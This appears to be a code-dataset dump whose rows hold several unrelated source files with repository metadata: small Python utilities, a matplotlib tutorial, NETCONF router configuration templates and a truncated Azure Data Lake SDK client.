hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
366a5072817ef493843915a3774b29c35ba20b3c
205
py
Python
8KYU/min_max.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
4
2021-07-17T22:48:03.000Z
2022-03-25T14:10:58.000Z
8KYU/min_max.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
null
null
null
8KYU/min_max.py
yaznasivasai/python_codewars
25493591dde4649dc9c1ec3bece8191a3bed6818
[ "MIT" ]
3
2021-06-14T14:18:16.000Z
2022-03-16T06:02:02.000Z
from typing import List, Union def minimum(arr: List[(Union[int, float])]) -> Union[int, float]: return min(arr) def maximum(arr: List[(Union[int, float])]) -> Union[int, float]: return max(arr)
25.625
65
0.658537
31
205
4.354839
0.451613
0.237037
0.385185
0.222222
0.577778
0.577778
0.577778
0.577778
0.577778
0
0
0
0.160976
205
8
66
25.625
0.784884
0
0
0
0
0
0
0
0
0
0
0
0
1
0.4
false
0
0.2
0.4
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
7
3678eef5e3150832b09767ad5463156a7c6c661f
4,992
py
Python
Chapter 07/7_2.py
bpbpublications/Advance-Core-Python-Programming
8902ceb270f55c04c12e818032f90d641c14d7b1
[ "MIT" ]
null
null
null
Chapter 07/7_2.py
bpbpublications/Advance-Core-Python-Programming
8902ceb270f55c04c12e818032f90d641c14d7b1
[ "MIT" ]
null
null
null
Chapter 07/7_2.py
bpbpublications/Advance-Core-Python-Programming
8902ceb270f55c04c12e818032f90d641c14d7b1
[ "MIT" ]
null
null
null
#7.2.2 Plotting a point #import pyplot import matplotlib.pyplot as plt #define the values of x and y x = 5 y = 8 #plot the point with the help of plot(x,y) function plt.plot(x,y) #display the plot plt.show() ######################################################3 #import pyplot import matplotlib.pyplot as plt #define the values of x and y x = 5 y = 8 #plot the point with the help of plot(x,y) function, red color, marker style X plt.plot(x,y,'rx') #display the plot plt.show() ########################################################## #import pyplot import matplotlib.pyplot as plt #plot the point with the help of plot(5,8) function, cyan color, marker style hexagon plt.plot(5,8,'ch') #display the plot plt.show() ############################################################# #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function. Also provide the color and style for the point. Here we are going for green square point. plt.plot(x,y, 'gs') #Display the plot plt.show() ########################################### #7.2.4 Plotting a line #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function. plt.plot(x,y) #Display the plot plt.show() ############################################### #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function. Magenta color,circle points on dotted line plt.plot(x,y,"mo:") #Display the plot plt.show() #######################################################3 #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function. Magenta color,circle points on dotted line plt.plot(x,y,"mo:", markersize = 9, linewidth = 3) #Display the plot plt.show() ######################################################3 #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function. Magenta color,circle points on dotted line plt.plot(x,y,"mo:", markersize = 9, linewidth = 3) #Display the grid plt.grid() #Display plot plt.show() ########################################################## #7.2.5 Labelling the x and y axis #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x and y x = [10,20,30,40,50,60,70,80,90] y = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function plt.plot(x,y) #Label the x-axis plt.xlabel('X-axis') #Label the y-axis plt.ylabel('Y-axis') #Give a title to the graph plt.title('Simple Line Plot using PyPlot') #Display the plot plt.show() ############################################################### #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x1 and y1 x1 = [10,20,30,40,50,60,70,80,90] y1 = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function for values of x1 and y1 plt.plot(x1,y1) #define two lists for the values of x2 and y2 x2 = [7,14,21,28,35,42,49,56,63] y2 = [10,20,30,40,50,60,70,80,90] #Call the plot(x,y) function for values of x2 and y2 plt.plot(x2,y2) #Label the x-axis plt.xlabel('X-axis') #Label the y-axis plt.ylabel('Y-axis') #Give a title to the graph plt.title('Plotting two lines on the same graph using PyPlot') #Display the plot plt.show() ######################################################################## #import the pyplot module from matplotib library import matplotlib.pyplot as plt #define two lists for the values of x1 and y1 x1 = [10,20,30,40,50,60,70,80,90] y1 = [7,14,21,28,35,42,49,56,63] #Call the plot(x,y) function for values of x1 and y1 and assign it a label plt.plot(x1,y1, label='Line for dataset x1, y1') #define two lists for the values of x2 and y2 x2 = [7,14,21,28,35,42,49,56,63] y2 = [10,20,30,40,50,60,70,80,90] #Call the plot(x,y) function for values of x2 and y2 and assign it a label plt.plot(x2,y2, label='Line for dataset x2, y2') #Label the x-axis plt.xlabel('X-axis') #Label the y-axis plt.ylabel('Y-axis') #Give a title to the graph plt.title('Plotting two lines on the same graph using PyPlot') #invoke the legend function plt.legend() #Display the plot plt.show()
25.212121
120
0.602364
876
4,992
3.432648
0.116438
0.033256
0.039907
0.05587
0.892917
0.86864
0.861656
0.832391
0.822747
0.822747
0
0.09966
0.175881
4,992
197
121
25.340102
0.631259
0.44391
0
0.842857
0
0
0.114695
0
0
0
0
0
0
1
0
false
0
0.157143
0
0.157143
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
3691be0680aeb20fa0f3b208b0a98d03caf98a7f
769
py
Python
Pascal.py
nihirgupta/hacktoberfest2020-4
e05fbd10f40a79782e87091ec05fd20b13bf48c6
[ "MIT" ]
null
null
null
Pascal.py
nihirgupta/hacktoberfest2020-4
e05fbd10f40a79782e87091ec05fd20b13bf48c6
[ "MIT" ]
null
null
null
Pascal.py
nihirgupta/hacktoberfest2020-4
e05fbd10f40a79782e87091ec05fd20b13bf48c6
[ "MIT" ]
null
null
null
n = int(input()) #pascal triangle a=[] for i in range(n): a.append([]) a[i].append(1) for j in range(1,i): s=a[i-1][j-1]+a[i-1][j] a[i].append(s) a[i].append(1) for i in range(n): print(' '*(n-i-1),end=' ') for j in range(0,i+1): print(a[i][j],end=' ') print(end='\n') #pascal diamond a=[] for i in range(n): a.append([]) a[i].append(1) for j in range(1,i): s=a[i-1][j-1]+a[i-1][j] a[i].append(s) a[i].append(1) for i in range(n): print(' '*(n-i-1),end=' ') for j in range(0,i+1): print(a[i][j],end=' ') print(end='\n') n=n-1 for i in range(n-1,-1,-1): print(' '*(n-i),end=' ') for j in range(0,i+1): print(a[i][j],end=' ') print(end='\n')
19.225
31
0.457737
159
769
2.213836
0.113208
0.073864
0.136364
0.15625
0.863636
0.863636
0.826705
0.826705
0.826705
0.826705
0
0.042705
0.269181
769
39
32
19.717949
0.58363
0.037711
0
0.878788
0
0
0.020353
0
0
0
0
0
0
1
0
false
0
0
0
0
0.272727
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
7fea7e4144ef949c2ea89f40d59742b35e037bec
142
py
Python
beta_constraints/mapping/__init__.py
ahalev/beta_mapping
ebb2130ade2a2b8e288235e87e3112bea691b9e0
[ "Apache-2.0" ]
null
null
null
beta_constraints/mapping/__init__.py
ahalev/beta_mapping
ebb2130ade2a2b8e288235e87e3112bea691b9e0
[ "Apache-2.0" ]
null
null
null
beta_constraints/mapping/__init__.py
ahalev/beta_mapping
ebb2130ade2a2b8e288235e87e3112bea691b9e0
[ "Apache-2.0" ]
null
null
null
from beta_constraints.mapping.torch_mapping import ConstraintMapping from beta_constraints.mapping.torch_mapping import TorchConstraintMapping
71
73
0.922535
16
142
7.9375
0.5
0.125984
0.299213
0.409449
0.692913
0.692913
0.692913
0
0
0
0
0
0.049296
142
2
73
71
0.940741
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
182ccbc8108fea526bc029db4fbff77ccba0cd5f
10,433
py
Python
Test_Automation/variable/danos_netconf_templates.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
null
null
null
Test_Automation/variable/danos_netconf_templates.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
null
null
null
Test_Automation/variable/danos_netconf_templates.py
dineshbhattahm/tests
7ad7811710c65771b045f2210b3b7e29200e9a45
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/python3 # * Copyright (c) 2020-2021, Happiest Minds Technologies Limited Intellectual Property. All rights reserved. # * # * SPDX-License-Identifier: LGPL-2.1-only validate_ospf_status = 'protocols ospf neighbor' validate_mpls_ldp_neighbor = 'protocols mpls-ldp neighbor' validate_mpls_ldp_ipv4_interface = 'protocols mpls-ldp ipv4 interface' validate_mpls_ldp_ipv4_discovery = 'protocols mpls-ldp ipv4 discovery' validate_mpls_ldp_ipv4_binding = 'protocols mpls-ldp ipv4 binding' Del_cmd = ['DELETE_MPLS','DELETE_OSPF','DELETE_INTERFACES'] CONFIGURE_DATAPLANE = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="3"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <interfaces xmlns="urn:vyatta.com:mgmt:vyatta-interfaces:1"> <dataplane xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-dataplane:1"> <tagnode xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-dataplane:1">INTERFACE</tagnode> <address>ADDRESS</address> </dataplane> </interfaces> </config> </edit-config> </rpc>]]>]]> """ COMMIT = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="1"> <commit xmlns="urn:ietf:params:xml:ns:netconf:base:1.0">\ </commit> </rpc>]]>]]> """ INTERFACEINFO = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="101"> <interface xmlns="urn:vyatta.com:mgmt:vyatta-op:1"> <name>INTERFACE_NAME</name> </interface> </rpc>]]>]]> """ CONFIGURE_LOOPBACK = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="5"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <interfaces xmlns="urn:vyatta.com:mgmt:vyatta-interfaces:1"> <loopback xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-loopback:1"> <tagnode xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-loopback:1">INTERFACE</tagnode> <address>ADDRESS</address> </loopback> </interfaces> </config> </edit-config> </rpc>]]>]]> """ CONFIGURE_OSPF = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="63"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <ospf xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ospf:1"> <area> <tagnode xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ospf:1">AREA_ID</tagnode> <network>ADDRESS</network> </area> </ospf> </protocols> </config> </edit-config> </rpc>]]>]]> """ CONFIGURE_MPLS_LDP_AD_FAMILY_EDGE = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="65"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <mpls-ldp xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ldp:1"> <lsr-id>LSR_ID</lsr-id> <address-family> <ipv4> <discovery> <interfaces> <interface> <interface>DIS_IFACE</interface> </interface> </interfaces> </discovery> <label-policy> <allocate> <host-routes/> </allocate> </label-policy> <transport-address>TR_ID</transport-address> </ipv4> </address-family> </mpls-ldp> </protocols> </config> </edit-config> </rpc>]]>]]> """ CONFIGURE_MPLS_LDP_AD_FAMILY_CORE = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="65"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <mpls-ldp xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ldp:1"> <lsr-id>LSR_ID</lsr-id> <address-family> <ipv4> <discovery> <interfaces> <interface> <interface>DIS_IFACE1</interface> </interface> <interface> <interface>DIS_IFACE2</interface> </interface> </interfaces> </discovery> <label-policy> <allocate> <host-routes/> </allocate> </label-policy> <transport-address>TR_ID</transport-address> </ipv4> </address-family> </mpls-ldp> </protocols> </config> </edit-config> </rpc>]]>]]> """ CONFIGURE_MPLS_LDP_LSR_ID = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="61"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <mpls-ldp xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ldp:1"> <lsr-id>LSR_ID</lsr-id> </mpls-ldp> </protocols> </config> </edit-config> </rpc>]]>]]> """ SHOW_CMD = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="119"> <command xmlns="urn:vyatta.com:mgmt:vyatta-opd:1"> <args>CMD</args> </command> </rpc>]]>]]> """ PINGD = """ <rpc message-id="r_msg" xmlns="urn:ietf:params:xml:ns:netconf:base:1.0"> <ping xmlns="urn:vyatta.com:mgmt:vyatta-op:1"> <host>r_dst</host> <count>r_cnt</count> <ttl>3</ttl> </ping> </rpc>]]>]]> """ DELETE_INTERFACES = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="132"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <interfaces xmlns="urn:vyatta.com:mgmt:vyatta-interfaces:1" xc:operation="delete"/> </config> </edit-config> </rpc>]]>]]> """ DELETE_INTERFACES_DATAPLANE = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="132"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <interfaces xmlns="urn:vyatta.com:mgmt:vyatta-interfaces:1" > <dataplane xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-dataplane:1" xc:operation="delete"> </dataplane> </interfaces> </config> </edit-config> </rpc>]]>]]> """ DELETE_LOOPBACK = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="5"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <interfaces xmlns="urn:vyatta.com:mgmt:vyatta-interfaces:1"> <loopback xmlns="urn:vyatta.com:mgmt:vyatta-interfaces-loopback:1" xc:operation="delete"> </loopback> </interfaces> </config> </edit-config> </rpc>]]>]]> """ DELETE_OSPF = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="201"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <ospf xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ospf:1" xc:operation="delete"/> </protocols> </config> </edit-config> </rpc>]]>]]> """ DELETE_MPLS = """ <rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" message-id="61"> <edit-config> <target> <candidate/> </target> <config xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xc="urn:ietf:params:xml:ns:netconf:base:1.0"> <protocols xmlns="urn:vyatta.com:mgmt:vyatta-protocols:1"> <mpls-ldp xmlns="urn:vyatta.com:mgmt:vyatta-protocols-frr-ldp:1" xc:operation="delete"/> </protocols> </config> </edit-config> </rpc>]]>]]> """
39.518939
115
0.497364
1,108
10,433
4.630866
0.097473
0.084194
0.096278
0.118495
0.839213
0.831417
0.78016
0.771974
0.760281
0.721887
0
0.022834
0.345155
10,433
263
116
39.669202
0.728191
0.016007
0
0.761317
0
0.160494
0.939973
0.363574
0
0
0
0
0
1
0
false
0
0
0
0
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
185577818db167bb9ebb6d40b949fbe4deaedfaf
74,684
py
Python
azure-mgmt-datalake-store/azure/mgmt/datalake/store/filesystem/operations/file_system_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
azure-mgmt-datalake-store/azure/mgmt/datalake/store/filesystem/operations/file_system_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
azure-mgmt-datalake-store/azure/mgmt/datalake/store/filesystem/operations/file_system_operations.py
HydAu/AzureSDKForPython
5cbe34e9e0b8ea1faacc9f205633ccc0b885c0f3
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft and contributors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # # See the License for the specific language governing permissions and # limitations under the License. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.pipeline import ClientRawResponse import uuid from .. import models class FileSystemOperations(object): """FileSystemOperations operations. :param client: Client for service requests. :param config: Configuration of service client. :param serializer: An object model serializer. :param deserializer: An objec model deserializer. """ def __init__(self, client, config, serializer, deserializer): self._client = client self._serialize = serializer self._deserialize = deserializer self.config = config def concurrent_append( self, file_path, stream_contents, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="CONCURRENTAPPEND", transfer_encoding="chunked", append_mode=None, custom_headers=None, raw=False, callback=None, **operation_config): """ Appends to the specified file. This method supports multiple concurrent appends to the file. NOTE: Concurrent append and normal (serial) append CANNOT be used interchangeably. Once a file has been appended to using either append option, it can only be appended to using that append option. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param file_path: The Data Lake Store path (starting with '/') of the file to which to append using concurrent append. :type file_path: str :param stream_contents: The file contents to include when appending to the file. :type stream_contents: Generator :param op: The constant value for the operation. :type op: str :param transfer_encoding: Indicates the data being sent to the server is being streamed in chunks. :type transfer_encoding: str :param append_mode: Indicates the concurrent append call should create the file if it doesn't exist or just open the existing file for append. Possible values include: 'autocreate' :type append_mode: str or :class:`AppendModeType <azure.mgmt.datalake.store.filesystem.models.AppendModeType>` :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param callback: When specified, will be called with each chunk of data that is streamed. The callback should take two arguments, the bytes of the current chunk of data and the response object. If the data is uploading, response will be None. :type callback: Callable[Bytes, response=None] :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/WebHdfsExt/{filePath}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'filePath': self._serialize.url("file_path", file_path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if append_mode is not None: query_parameters['appendMode'] = self._serialize.query("append_mode", append_mode, 'AppendModeType') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/octet-stream' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) header_parameters['Transfer-Encoding'] = self._serialize.header("transfer_encoding", transfer_encoding, 'str') if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct body body_content = self._client.stream_upload(stream_contents, callback) # Construct and send request request = self._client.post(url, query_parameters) response = self._client.send( request, header_parameters, body_content, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def check_access( self, path, account_name="\"\\"\\\"\\\\"\\\\\"\\\\\\"\\\\\\\"\\\\\\\\"\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\\"None\\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\\"\\\\\\\\\\\\\\"\\\\\\\\\\\\\"\\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\"\\\\\\\\\"\\\\\\\\"\\\\\\\"\\\\\\"\\\\\"\\\\"\\\"\\"\"", op="CHECKACCESS", fsaction=None, custom_headers=None, raw=False, **operation_config): """ Checks if the specified access is available at the given path. :param account_name: The Azure Data Lake Store account to execute filesystem operations on. :type account_name: str :param path: The Data Lake Store path (starting with '/') of the file or directory for which to check access. :type path: str :param op: The constant value for the operation. :type op: str :param fsaction: File system operation read/write/execute in string form, matching regex pattern '[rwx-]{3}' :type fsaction: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :rtype: None :rtype: :class:`ClientRawResponse<msrest.pipeline.ClientRawResponse>` if raw=true """ # Construct URL url = '/webhdfs/v1/{path}' path_format_arguments = { 'accountName': self._serialize.url("account_name", account_name, 'str', skip_quote=True), 'adlsFileSystemDnsSuffix': self._serialize.url("self.config.adls_file_system_dns_suffix", self.config.adls_file_system_dns_suffix, 'str', skip_quote=True), 'path': self._serialize.url("path", path, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} if fsaction is not None: query_parameters['fsaction'] = self._serialize.query("fsaction", fsaction, 'str') query_parameters['op'] = self._serialize.query("op", op, 'str') query_parameters['api-version'] = self._serialize.query("self.config.api_version", self.config.api_version, 'str') # Construct headers header_parameters = {} header_parameters['Content-Type'] = 'application/json; charset=utf-8' if self.config.generate_client_request_id: header_parameters['x-ms-client-request-id'] = str(uuid.uuid1()) if custom_headers: header_parameters.update(custom_headers) if self.config.accept_language is not None: header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str') # Construct and send request request = self._client.get(url, query_parameters) response = self._client.send(request, header_parameters, **operation_config) if response.status_code not in [200]: raise models.AdlsErrorException(self._deserialize, response) if raw: client_raw_response = ClientRawResponse(None, response) return client_raw_response def mkdirs( self, path, 